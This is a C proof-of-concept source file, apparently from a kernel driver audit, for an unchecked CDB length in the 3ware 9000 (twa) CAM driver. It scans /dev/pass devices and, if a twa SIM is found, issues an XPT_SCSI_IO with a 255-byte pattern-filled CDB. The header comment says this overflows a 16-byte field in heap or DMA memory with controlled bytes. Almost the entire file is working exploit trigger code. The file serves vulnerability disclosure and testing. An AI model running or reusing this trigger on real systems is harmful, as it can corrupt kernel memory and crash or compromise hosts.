DF-4654 / twa_cdb.c
/* * DF-4654 PoC: twa (3ware 9000) CAM shim forwards csio->cdb_len * (u_int8_t, up to 255) unchecked into the common layer, which * memcpy's it into the 16-byte cdb field of the firmware command * packet -> heap/DMA-pool overflow with fully controlled bytes. * * This trigger scans the CAM bus list for a SIM named "twa"; if one * exists it issues an XPT_SCSI_IO with a 255-byte CDB (pattern-filled) * against target 0 lun 0 via /dev/pass<N>. On a machine without a * 3ware 9xxx controller (e.g. the QEMU audit guest) it reports the * absence -- the defect is then proven by source trace only. * * build: cc -o twa_cdb twa_cdb.c * usage (root/operator): ./twa_cdb */ #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ioctl.h> #include <bus/cam/cam.h> #include <bus/cam/cam_ccb.h> #include <bus/cam/scsi/scsi_all.h> #include <bus/cam/scsi/scsi_pass.h> static void fill_path_inq(union ccb *ccb) { memset(ccb, 0, sizeof(*ccb)); ccb->ccb_h.func_code = XPT_PATH_INQ; } int main(void) { char dev[64]; int fd, i, ndev = 0; /* try pass0..pass15: find any, then PATH_INQ to read the SIM name */ for (i = 0; i < 16; i++) { union ccb ccb; snprintf(dev, sizeof(dev), "/dev/pass%d", i); fd = open(dev, O_RDWR); if (fd < 0) continue; ndev++; fill_path_inq(&ccb); if (ioctl(fd, CAMIOCOMMAND, &ccb) < 0) { close(fd); continue; } if (ccb.ccb_h.status != CAM_REQ_CMP) { close(fd); continue; } printf("%s: sim \"%s\" bus %d max_target %d\n", dev, ccb.cpi.dev_name, ccb.cpi.bus_id, ccb.cpi.max_target); if (strcmp(ccb.cpi.dev_name, "twa") == 0) { /* * Found a twa SIM: send XPT_SCSI_IO with a 255-byte * CDB (all 0x41). tw_osli_execute_scsi() passes * cdb_len=255 to tw_cl_start_io(), which does * memcpy(cmd->cdb (16 bytes), cdb, 255). */ union ccb io; memset(&io, 0, sizeof(io)); io.ccb_h.func_code = XPT_SCSI_IO; io.ccb_h.flags = CAM_DIR_NONE; io.ccb_h.timeout = 5000; io.ccb_h.target_id = 0; io.ccb_h.target_lun = 0; io.csio.cdb_len = 255; /* > 16 */ memset(io.csio.cdb_io.cdb_bytes, 0x41, 16); /* bytes past 16 live in the (oversized) CDB area -- * use CAM_CDB_POINTER so we can supply a full 255. */ { static unsigned char bigcdb[255]; memset(bigcdb, 0x41, sizeof(bigcdb)); io.ccb_h.flags |= CAM_CDB_POINTER; io.csio.cdb_io.cdb_ptr = bigcdb; } printf("issuing XPT_SCSI_IO cdb_len=255 on %s ...\n", dev); if (ioctl(fd, CAMIOCOMMAND, &io) < 0) perror("CAMIOCOMMAND"); else printf("ccb status = 0x%x\n", io.ccb_h.status); close(fd); return 0; } close(fd); } if (ndev == 0) printf("NO /dev/pass* devices: no CAM path to any HBA.\n"); printf("RESULT: no twa SIM present on this system " "(checked %d pass device(s)).\n", ndev); printf("The vulnerable path (tw_osl_cam.c:276-280 -> tw_cl_io.c:124 " "-> tw_cl_fwif.h:315 cdb[16]) requires 3ware 9000-series " "hardware.\n"); return 2; } |